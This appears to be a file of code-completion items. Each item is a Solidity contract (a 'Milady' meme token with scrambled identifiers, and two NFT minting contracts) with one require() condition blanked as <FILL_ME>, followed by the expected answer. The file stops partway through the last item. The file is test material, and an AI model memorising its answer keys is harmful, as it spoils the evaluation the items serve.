/** Milady $Milady Frens, it's time for a real Milady which is by the community, for the community. Load up the meme cannons and fire at your own will. TWITTER: https://twitter.com/Miladys_erc TELEGRAM: https://t.me/Miladys_erc20 WEBSITE: https://miladyerc.com/ **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function _pvr(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface _pouqiv { function createPair(address tokenA, address tokenB) external returns (address pair); } interface _qavuxms { function swomKenbwcSartksFxlacvqc( uint amountIn, uint amountOutMin, address[ ] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH , uint liquidity); } contract Milady is Context, IERC20, Ownable { using SafeMath for uint256; _qavuxms private _Tewopik; address payable private _Pgimauf; address private _yiavbir; bool private _pvyckuv; bool public _Teraxlvrm = false; bool private oruvubk = false; bool private _aeujahvp = false; string private constant _name = unicode"Milady"; string private constant _symbol = unicode"Milady"; uint8 private constant _decimals = 9; uint256 private constant _sTotalvs = 100000000 * 10 **_decimals; uint256 public _pvbvorl = _sTotalvs; uint256 public _Wepmrf = _sTotalvs; uint256 public _vwaprThaevm= _sTotalvs; uint256 public _BviTcasf= _sTotalvs; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _vjquakbi; mapping (address => bool) private _traknony; mapping(address => uint256) private _rkopemo; uint256 private _BuyinitialTax=1; uint256 private _SellinitialTax=1; uint256 private _BuyfinalTax=1; uint256 private _SellfinalTax=1; uint256 private _BuyAreduceTax=1; uint256 private _SellAreduceTax=1; uint256 private _yrkvoblq=0; uint256 private _bernjye=0; event _mrojufet(uint _pvbvorl); modifier osTqeo { } constructor () { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address _owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address _owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { } function _rcjnfrf(uint256 tokenAmount) private osTqeo { } function _rkhvq (uint256 a, uint256 b ) private pure returns (uint256){ } function _mjwxv(address from, uint256 a, uint256 b) private view returns(uint256){ } function removeLimitas ( ) external onlyOwner{ } function _eoqnvmc(address account) private view returns (bool) { } function _ujhple(uint256 amount) private { } function enableTrading ( ) external onlyOwner ( ) { require(<FILL_ME>) _Tewopik = _qavuxms (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address (this), address( _Tewopik), _sTotalvs); _yiavbir = _pouqiv(_Tewopik. factory( ) ). createPair ( address(this ), _Tewopik . WETH ( ) ); _Tewopik.addLiquidityETH {value: address (this).balance} (address(this) ,balanceOf(address (this)),0,0,owner(),block. timestamp); IERC20(_yiavbir). approve(address(_Tewopik), type(uint) .max); _aeujahvp = true; _pvyckuv = true; } receive() external payable {} }
!_pvyckuv
99,683
!_pvyckuv
"you cannot mint more NFTs"
// SPDX-License-Identifier: GPL-3.0 // Created by 0xzedsi // The Nerdy Coder Clones pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol"; import "./@rarible/royalties/contracts/LibPart.sol"; import "./@rarible/royalties/contracts/LibRoyaltiesV2.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; //import "./@rarible/royalties/contracts/LibRoyalties2981.sol"; contract WhalesTest is ERC721Enumerable, Ownable, RoyaltiesV2Impl, ReentrancyGuard { //To concatenate the URL of an NFT using Strings for uint256; uint256 public totalsupply; // set the maximum supply of the NFTs uint256 public constant MAX_SUPPLY = 3333; // set the Max mint amount uint256 public max_mint_allowed = 10; // set the Max NFT per address uint256 public max_mint_per_address = 10; //Price of one NFT in sale uint public priceSale = 0.08 ether; //URI of the NFTs when revealed string public baseURI; //URI of the NFTs when not revealed string public notRevealedURI; //The extension of the file containing the Metadatas of the NFTs string public baseExtension = ".json"; //Are the NFTs revealed yet ? bool public revealed = false; // this bool will allow us to pause the smart contract bool public paused = false; // set the royalty fees in Bips uint96 royaltyFeesInBips; // set the address of the receiver of the royalties address payable royaltyAddress; address payable public withdrawWallet; //Keep a track of the number of tokens per address mapping(address => uint) nftsPerWallet; //The different stages of selling the collection enum Steps { Before, Sale, SoldOut, Reveal } Steps public sellingStep; constructor( string memory _name, string memory _symbol, string memory _theBaseURI, string memory _notRevealedURI, uint96 _royaltyFeesInBips, address payable _withdrawWallet, address payable _royaltyAddress) ERC721(_name, _symbol) { } //Define the contract level metadata for opensea function contractURI() public view returns (string memory) { } // public /** * @notice Allows to mint NFTs * * @param _ammount The ammount of NFTs the user wants to mint **/ function saleMint(uint256 _ammount) public payable { //if the contract is paused require(paused == false, "the contract is paused now, you cannot mint"); //if the minter exceeds the max mint amount per address require(<FILL_ME>) //If everything has been bought require(sellingStep != Steps.SoldOut, "Sorry, no NFTs left."); //If Sale didn't start yet require(sellingStep == Steps.Sale, "Sorry, sale has not started yet."); //Did the user then enought Ethers to buy ammount NFTs ? require(msg.value == priceSale * _ammount, "Insufficient funds."); //The user can only mint max 3 NFTs require(_ammount <= max_mint_allowed, "You can't mint more than 3 tokens"); //If the user try to mint any non-existent token require(totalsupply + _ammount <= MAX_SUPPLY, "Sale is almost done and we don't have enough NFTs left."); //Add the ammount of NFTs minted by the user to the total he minted nftsPerWallet[msg.sender] += _ammount; //If this account minted the last NFTs available if(totalsupply + _ammount == MAX_SUPPLY) { sellingStep = Steps.SoldOut; } //Minting all the account NFTs for(uint i = 1 ; i <= _ammount ; i++) { uint256 newTokenId = totalsupply + 1; totalsupply++; _safeMint(msg.sender, newTokenId); setRoyalties(newTokenId); } } /** * @notice Allows to get the complete URI of a specific NFT by his ID * * @param _nftId The id of the NFT * * @return The token URI of the NFT which has _nftId Id **/ function tokenURI(uint _nftId) public view override(ERC721) returns (string memory) { } //#####################only owner############################ /** * @notice Set pause to true or false * * @param _paused True or false if you want the contract to be paused or not **/ function setPaused(bool _paused) external onlyOwner { } /** * @notice Change the base URI * * @param _newBaseURI The new base URI **/ function setBaseUri(string memory _newBaseURI) external onlyOwner { } /** * @notice Change the not revealed URI * * @param _notRevealedURI The new not revealed URI **/ function setNotRevealURI(string memory _notRevealedURI) external onlyOwner { } /** * @notice Allows to set the revealed variable to true **/ function reveal() external onlyOwner{ } /** * @notice Return URI of the NFTs when revealed * * @return The URI of the NFTs when revealed **/ function _baseURI() internal view virtual override returns (string memory) { } /** * @notice Allows to change the sellinStep to Sale **/ function setUpSale() external onlyOwner { } // allow owner to withdraw the funds from the contract function withdraw() external onlyOwner { } function getbalance () public view returns (uint256){ } // allow the owner to set the royalties Infos function setRoyaltyInfo(address payable _receiver, uint96 _royaltyFeesInBips) public onlyOwner { } /** * @notice Allows to gift one NFT to an address * * @param _account The account of the happy new owner of one NFT **/ function gift(address _account) external onlyOwner nonReentrant { } //########################Royalties and EIP 2981 ################################ // set the royalties for Rarible function setRoyalties(uint _tokenId) internal { } // set the interface of the EIP 2981 function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable) returns (bool){ } // implement the EIP 2981 functions function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual returns (address, uint256) { } // helper function to calculate the royalties for a given sale price function calculateRoyalty(uint256 _salePrice) view public returns (uint256) { } }
nftsPerWallet[msg.sender]+_ammount<=max_mint_per_address,"you cannot mint more NFTs"
99,729
nftsPerWallet[msg.sender]+_ammount<=max_mint_per_address
"Sale is almost done and we don't have enough NFTs left."
// SPDX-License-Identifier: GPL-3.0 // Created by 0xzedsi // The Nerdy Coder Clones pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol"; import "./@rarible/royalties/contracts/LibPart.sol"; import "./@rarible/royalties/contracts/LibRoyaltiesV2.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; //import "./@rarible/royalties/contracts/LibRoyalties2981.sol"; contract WhalesTest is ERC721Enumerable, Ownable, RoyaltiesV2Impl, ReentrancyGuard { //To concatenate the URL of an NFT using Strings for uint256; uint256 public totalsupply; // set the maximum supply of the NFTs uint256 public constant MAX_SUPPLY = 3333; // set the Max mint amount uint256 public max_mint_allowed = 10; // set the Max NFT per address uint256 public max_mint_per_address = 10; //Price of one NFT in sale uint public priceSale = 0.08 ether; //URI of the NFTs when revealed string public baseURI; //URI of the NFTs when not revealed string public notRevealedURI; //The extension of the file containing the Metadatas of the NFTs string public baseExtension = ".json"; //Are the NFTs revealed yet ? bool public revealed = false; // this bool will allow us to pause the smart contract bool public paused = false; // set the royalty fees in Bips uint96 royaltyFeesInBips; // set the address of the receiver of the royalties address payable royaltyAddress; address payable public withdrawWallet; //Keep a track of the number of tokens per address mapping(address => uint) nftsPerWallet; //The different stages of selling the collection enum Steps { Before, Sale, SoldOut, Reveal } Steps public sellingStep; constructor( string memory _name, string memory _symbol, string memory _theBaseURI, string memory _notRevealedURI, uint96 _royaltyFeesInBips, address payable _withdrawWallet, address payable _royaltyAddress) ERC721(_name, _symbol) { } //Define the contract level metadata for opensea function contractURI() public view returns (string memory) { } // public /** * @notice Allows to mint NFTs * * @param _ammount The ammount of NFTs the user wants to mint **/ function saleMint(uint256 _ammount) public payable { //if the contract is paused require(paused == false, "the contract is paused now, you cannot mint"); //if the minter exceeds the max mint amount per address require(nftsPerWallet[msg.sender] + _ammount <= max_mint_per_address, "you cannot mint more NFTs"); //If everything has been bought require(sellingStep != Steps.SoldOut, "Sorry, no NFTs left."); //If Sale didn't start yet require(sellingStep == Steps.Sale, "Sorry, sale has not started yet."); //Did the user then enought Ethers to buy ammount NFTs ? require(msg.value == priceSale * _ammount, "Insufficient funds."); //The user can only mint max 3 NFTs require(_ammount <= max_mint_allowed, "You can't mint more than 3 tokens"); //If the user try to mint any non-existent token require(<FILL_ME>) //Add the ammount of NFTs minted by the user to the total he minted nftsPerWallet[msg.sender] += _ammount; //If this account minted the last NFTs available if(totalsupply + _ammount == MAX_SUPPLY) { sellingStep = Steps.SoldOut; } //Minting all the account NFTs for(uint i = 1 ; i <= _ammount ; i++) { uint256 newTokenId = totalsupply + 1; totalsupply++; _safeMint(msg.sender, newTokenId); setRoyalties(newTokenId); } } /** * @notice Allows to get the complete URI of a specific NFT by his ID * * @param _nftId The id of the NFT * * @return The token URI of the NFT which has _nftId Id **/ function tokenURI(uint _nftId) public view override(ERC721) returns (string memory) { } //#####################only owner############################ /** * @notice Set pause to true or false * * @param _paused True or false if you want the contract to be paused or not **/ function setPaused(bool _paused) external onlyOwner { } /** * @notice Change the base URI * * @param _newBaseURI The new base URI **/ function setBaseUri(string memory _newBaseURI) external onlyOwner { } /** * @notice Change the not revealed URI * * @param _notRevealedURI The new not revealed URI **/ function setNotRevealURI(string memory _notRevealedURI) external onlyOwner { } /** * @notice Allows to set the revealed variable to true **/ function reveal() external onlyOwner{ } /** * @notice Return URI of the NFTs when revealed * * @return The URI of the NFTs when revealed **/ function _baseURI() internal view virtual override returns (string memory) { } /** * @notice Allows to change the sellinStep to Sale **/ function setUpSale() external onlyOwner { } // allow owner to withdraw the funds from the contract function withdraw() external onlyOwner { } function getbalance () public view returns (uint256){ } // allow the owner to set the royalties Infos function setRoyaltyInfo(address payable _receiver, uint96 _royaltyFeesInBips) public onlyOwner { } /** * @notice Allows to gift one NFT to an address * * @param _account The account of the happy new owner of one NFT **/ function gift(address _account) external onlyOwner nonReentrant { } //########################Royalties and EIP 2981 ################################ // set the royalties for Rarible function setRoyalties(uint _tokenId) internal { } // set the interface of the EIP 2981 function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable) returns (bool){ } // implement the EIP 2981 functions function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual returns (address, uint256) { } // helper function to calculate the royalties for a given sale price function calculateRoyalty(uint256 _salePrice) view public returns (uint256) { } }
totalsupply+_ammount<=MAX_SUPPLY,"Sale is almost done and we don't have enough NFTs left."
99,729
totalsupply+_ammount<=MAX_SUPPLY
"This NFT doesn't exist."
// SPDX-License-Identifier: GPL-3.0 // Created by 0xzedsi // The Nerdy Coder Clones pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol"; import "./@rarible/royalties/contracts/LibPart.sol"; import "./@rarible/royalties/contracts/LibRoyaltiesV2.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; //import "./@rarible/royalties/contracts/LibRoyalties2981.sol"; contract WhalesTest is ERC721Enumerable, Ownable, RoyaltiesV2Impl, ReentrancyGuard { //To concatenate the URL of an NFT using Strings for uint256; uint256 public totalsupply; // set the maximum supply of the NFTs uint256 public constant MAX_SUPPLY = 3333; // set the Max mint amount uint256 public max_mint_allowed = 10; // set the Max NFT per address uint256 public max_mint_per_address = 10; //Price of one NFT in sale uint public priceSale = 0.08 ether; //URI of the NFTs when revealed string public baseURI; //URI of the NFTs when not revealed string public notRevealedURI; //The extension of the file containing the Metadatas of the NFTs string public baseExtension = ".json"; //Are the NFTs revealed yet ? bool public revealed = false; // this bool will allow us to pause the smart contract bool public paused = false; // set the royalty fees in Bips uint96 royaltyFeesInBips; // set the address of the receiver of the royalties address payable royaltyAddress; address payable public withdrawWallet; //Keep a track of the number of tokens per address mapping(address => uint) nftsPerWallet; //The different stages of selling the collection enum Steps { Before, Sale, SoldOut, Reveal } Steps public sellingStep; constructor( string memory _name, string memory _symbol, string memory _theBaseURI, string memory _notRevealedURI, uint96 _royaltyFeesInBips, address payable _withdrawWallet, address payable _royaltyAddress) ERC721(_name, _symbol) { } //Define the contract level metadata for opensea function contractURI() public view returns (string memory) { } // public /** * @notice Allows to mint NFTs * * @param _ammount The ammount of NFTs the user wants to mint **/ function saleMint(uint256 _ammount) public payable { } /** * @notice Allows to get the complete URI of a specific NFT by his ID * * @param _nftId The id of the NFT * * @return The token URI of the NFT which has _nftId Id **/ function tokenURI(uint _nftId) public view override(ERC721) returns (string memory) { require(<FILL_ME>) if(revealed == false) { // return notRevealedURI; return bytes(notRevealedURI).length > 0 ? string(abi.encodePacked(notRevealedURI, _nftId.toString(), baseExtension)) : ""; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _nftId.toString(), baseExtension)) : ""; } //#####################only owner############################ /** * @notice Set pause to true or false * * @param _paused True or false if you want the contract to be paused or not **/ function setPaused(bool _paused) external onlyOwner { } /** * @notice Change the base URI * * @param _newBaseURI The new base URI **/ function setBaseUri(string memory _newBaseURI) external onlyOwner { } /** * @notice Change the not revealed URI * * @param _notRevealedURI The new not revealed URI **/ function setNotRevealURI(string memory _notRevealedURI) external onlyOwner { } /** * @notice Allows to set the revealed variable to true **/ function reveal() external onlyOwner{ } /** * @notice Return URI of the NFTs when revealed * * @return The URI of the NFTs when revealed **/ function _baseURI() internal view virtual override returns (string memory) { } /** * @notice Allows to change the sellinStep to Sale **/ function setUpSale() external onlyOwner { } // allow owner to withdraw the funds from the contract function withdraw() external onlyOwner { } function getbalance () public view returns (uint256){ } // allow the owner to set the royalties Infos function setRoyaltyInfo(address payable _receiver, uint96 _royaltyFeesInBips) public onlyOwner { } /** * @notice Allows to gift one NFT to an address * * @param _account The account of the happy new owner of one NFT **/ function gift(address _account) external onlyOwner nonReentrant { } //########################Royalties and EIP 2981 ################################ // set the royalties for Rarible function setRoyalties(uint _tokenId) internal { } // set the interface of the EIP 2981 function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable) returns (bool){ } // implement the EIP 2981 functions function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual returns (address, uint256) { } // helper function to calculate the royalties for a given sale price function calculateRoyalty(uint256 _salePrice) view public returns (uint256) { } }
_exists(_nftId),"This NFT doesn't exist."
99,729
_exists(_nftId)
"Sold out"
// SPDX-License-Identifier: GPL-3.0 // Created by 0xzedsi // The Nerdy Coder Clones pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./@rarible/royalties/contracts/impl/RoyaltiesV2Impl.sol"; import "./@rarible/royalties/contracts/LibPart.sol"; import "./@rarible/royalties/contracts/LibRoyaltiesV2.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; //import "./@rarible/royalties/contracts/LibRoyalties2981.sol"; contract WhalesTest is ERC721Enumerable, Ownable, RoyaltiesV2Impl, ReentrancyGuard { //To concatenate the URL of an NFT using Strings for uint256; uint256 public totalsupply; // set the maximum supply of the NFTs uint256 public constant MAX_SUPPLY = 3333; // set the Max mint amount uint256 public max_mint_allowed = 10; // set the Max NFT per address uint256 public max_mint_per_address = 10; //Price of one NFT in sale uint public priceSale = 0.08 ether; //URI of the NFTs when revealed string public baseURI; //URI of the NFTs when not revealed string public notRevealedURI; //The extension of the file containing the Metadatas of the NFTs string public baseExtension = ".json"; //Are the NFTs revealed yet ? bool public revealed = false; // this bool will allow us to pause the smart contract bool public paused = false; // set the royalty fees in Bips uint96 royaltyFeesInBips; // set the address of the receiver of the royalties address payable royaltyAddress; address payable public withdrawWallet; //Keep a track of the number of tokens per address mapping(address => uint) nftsPerWallet; //The different stages of selling the collection enum Steps { Before, Sale, SoldOut, Reveal } Steps public sellingStep; constructor( string memory _name, string memory _symbol, string memory _theBaseURI, string memory _notRevealedURI, uint96 _royaltyFeesInBips, address payable _withdrawWallet, address payable _royaltyAddress) ERC721(_name, _symbol) { } //Define the contract level metadata for opensea function contractURI() public view returns (string memory) { } // public /** * @notice Allows to mint NFTs * * @param _ammount The ammount of NFTs the user wants to mint **/ function saleMint(uint256 _ammount) public payable { } /** * @notice Allows to get the complete URI of a specific NFT by his ID * * @param _nftId The id of the NFT * * @return The token URI of the NFT which has _nftId Id **/ function tokenURI(uint _nftId) public view override(ERC721) returns (string memory) { } //#####################only owner############################ /** * @notice Set pause to true or false * * @param _paused True or false if you want the contract to be paused or not **/ function setPaused(bool _paused) external onlyOwner { } /** * @notice Change the base URI * * @param _newBaseURI The new base URI **/ function setBaseUri(string memory _newBaseURI) external onlyOwner { } /** * @notice Change the not revealed URI * * @param _notRevealedURI The new not revealed URI **/ function setNotRevealURI(string memory _notRevealedURI) external onlyOwner { } /** * @notice Allows to set the revealed variable to true **/ function reveal() external onlyOwner{ } /** * @notice Return URI of the NFTs when revealed * * @return The URI of the NFTs when revealed **/ function _baseURI() internal view virtual override returns (string memory) { } /** * @notice Allows to change the sellinStep to Sale **/ function setUpSale() external onlyOwner { } // allow owner to withdraw the funds from the contract function withdraw() external onlyOwner { } function getbalance () public view returns (uint256){ } // allow the owner to set the royalties Infos function setRoyaltyInfo(address payable _receiver, uint96 _royaltyFeesInBips) public onlyOwner { } /** * @notice Allows to gift one NFT to an address * * @param _account The account of the happy new owner of one NFT **/ function gift(address _account) external onlyOwner nonReentrant { require(<FILL_ME>) uint256 newTokenId = totalsupply + 1; totalsupply++; _safeMint(_account, newTokenId); setRoyalties(newTokenId); } //########################Royalties and EIP 2981 ################################ // set the royalties for Rarible function setRoyalties(uint _tokenId) internal { } // set the interface of the EIP 2981 function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable) returns (bool){ } // implement the EIP 2981 functions function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual returns (address, uint256) { } // helper function to calculate the royalties for a given sale price function calculateRoyalty(uint256 _salePrice) view public returns (uint256) { } }
totalsupply+1<=MAX_SUPPLY,"Sold out"
99,729
totalsupply+1<=MAX_SUPPLY
"insufficient funds"
// SPDX-License-Identifier: MIT // Copyright (c) 2022 Keisuke OHNO /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity >=0.7.0 <0.9.0; import { Base64 } from 'base64-sol/base64.sol'; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; //tokenURI interface interface iTokenURI { function tokenURI(uint256 _tokenId) external view returns (string memory); } contract UmucoCollection is Ownable, ERC721A{ constructor( ) ERC721A("Umuco Collection", "UMC") { } // //withdraw section // address public constant withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6; function withdraw() public onlyOwner { } // //mint section // bool public paused = true; uint256 public nextPhase = 0; mapping(uint256 => uint256) public phaseIdByTokenId; mapping(uint256 => phaseStrct) public phaseData; struct phaseStrct { //input string fileName; string metadataTitle; string metadataDescription; string metadataAttributes; address withdrawAddress; bool useAnimationUrl; string animationFileName; uint256 cost; bool onSale; mapping(address => uint256) userMintedAmount; } function _updateNextPhase(uint256 _currentPhase )internal{ } function setPhaseData( uint256 _id , string memory _fileName , string memory _metadataTitle , string memory _metadataDescription , string memory _metadataAttributes , address _withdrawAddress, bool _useAnimationUrl, string memory _animationFileName, uint256 _cost, bool _onSale ) public onlyOwner { } modifier callerIsUser() { } //mint function mint(uint256 _phaseId ) public payable callerIsUser{ require( !paused , "the contract is paused"); require(<FILL_ME>) require( phaseData[_phaseId].userMintedAmount[msg.sender] == 0 , "You already have a SBT" ); require( phaseData[_phaseId].onSale == true , "Sale is closed" ); phaseData[_phaseId].userMintedAmount[msg.sender]++; phaseIdByTokenId[_nextTokenId()] = _phaseId; _safeMint(msg.sender, 1); (bool os, ) = payable( phaseData[_phaseId].withdrawAddress ).call{value: address(this).balance}(''); require(os); } function adminMint(uint256 _phaseId) public onlyOwner{ } function pause(bool _state) public onlyOwner { } function getUserMintedAmountByPhaseId(uint256 _phaseId , address _address) public view returns (uint256){ } function getOnSaleByPhaseId(uint256 _phaseId ) public view returns (bool){ } function setOnSale(uint256 _phaseId , bool _onSale) public onlyOwner{ } // //URI section // string public baseURI; string public baseExtension = ".json"; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } // //interface metadata // iTokenURI public interfaceOfTokenURI; bool public useInterfaceMetadata = false; function setInterfaceOfTokenURI(address _address) public onlyOwner() { } function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyOwner() { } // //single metadata // bool public useSingleMetadata = false; //single image metadata function setUseSingleMetadata(bool _useSingleMetadata) public onlyOwner() { } // //token URI // function tokenURI(uint256 tokenId) public view override returns (string memory) { } function encodePackedJson(uint256 _tokenId) public view returns (bytes memory) { } // //viewer section // function tokensOfOwner(address owner) public view returns (uint256[] memory) { } // //sbt section // bool public isSBT = false; function setIsSBT(bool _state) public onlyOwner { } function _sbt() internal view returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{ } function setApprovalForAll(address operator, bool approved) public virtual override { } function approve(address to, uint256 tokenId) public payable virtual override { } // //override // function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) { } function _startTokenId() internal view virtual override returns (uint256) { } }
phaseData[_phaseId].cost<=msg.value,"insufficient funds"
99,912
phaseData[_phaseId].cost<=msg.value
"You already have a SBT"
// SPDX-License-Identifier: MIT // Copyright (c) 2022 Keisuke OHNO /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity >=0.7.0 <0.9.0; import { Base64 } from 'base64-sol/base64.sol'; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; //tokenURI interface interface iTokenURI { function tokenURI(uint256 _tokenId) external view returns (string memory); } contract UmucoCollection is Ownable, ERC721A{ constructor( ) ERC721A("Umuco Collection", "UMC") { } // //withdraw section // address public constant withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6; function withdraw() public onlyOwner { } // //mint section // bool public paused = true; uint256 public nextPhase = 0; mapping(uint256 => uint256) public phaseIdByTokenId; mapping(uint256 => phaseStrct) public phaseData; struct phaseStrct { //input string fileName; string metadataTitle; string metadataDescription; string metadataAttributes; address withdrawAddress; bool useAnimationUrl; string animationFileName; uint256 cost; bool onSale; mapping(address => uint256) userMintedAmount; } function _updateNextPhase(uint256 _currentPhase )internal{ } function setPhaseData( uint256 _id , string memory _fileName , string memory _metadataTitle , string memory _metadataDescription , string memory _metadataAttributes , address _withdrawAddress, bool _useAnimationUrl, string memory _animationFileName, uint256 _cost, bool _onSale ) public onlyOwner { } modifier callerIsUser() { } //mint function mint(uint256 _phaseId ) public payable callerIsUser{ require( !paused , "the contract is paused"); require( phaseData[_phaseId].cost <= msg.value , "insufficient funds"); require(<FILL_ME>) require( phaseData[_phaseId].onSale == true , "Sale is closed" ); phaseData[_phaseId].userMintedAmount[msg.sender]++; phaseIdByTokenId[_nextTokenId()] = _phaseId; _safeMint(msg.sender, 1); (bool os, ) = payable( phaseData[_phaseId].withdrawAddress ).call{value: address(this).balance}(''); require(os); } function adminMint(uint256 _phaseId) public onlyOwner{ } function pause(bool _state) public onlyOwner { } function getUserMintedAmountByPhaseId(uint256 _phaseId , address _address) public view returns (uint256){ } function getOnSaleByPhaseId(uint256 _phaseId ) public view returns (bool){ } function setOnSale(uint256 _phaseId , bool _onSale) public onlyOwner{ } // //URI section // string public baseURI; string public baseExtension = ".json"; function _baseURI() internal view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } // //interface metadata // iTokenURI public interfaceOfTokenURI; bool public useInterfaceMetadata = false; function setInterfaceOfTokenURI(address _address) public onlyOwner() { } function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyOwner() { } // //single metadata // bool public useSingleMetadata = false; //single image metadata function setUseSingleMetadata(bool _useSingleMetadata) public onlyOwner() { } // //token URI // function tokenURI(uint256 tokenId) public view override returns (string memory) { } function encodePackedJson(uint256 _tokenId) public view returns (bytes memory) { } // //viewer section // function tokensOfOwner(address owner) public view returns (uint256[] memory) { } // //sbt section // bool public isSBT = false; function setIsSBT(bool _state) public onlyOwner { } function _sbt() internal view returns (bool) { } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{ } function setApprovalForAll(address operator, bool approved) public virtual override { } function approve(address to, uint256 tokenId) public payable virtual override { } // //override // function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) { } function _startTokenId() 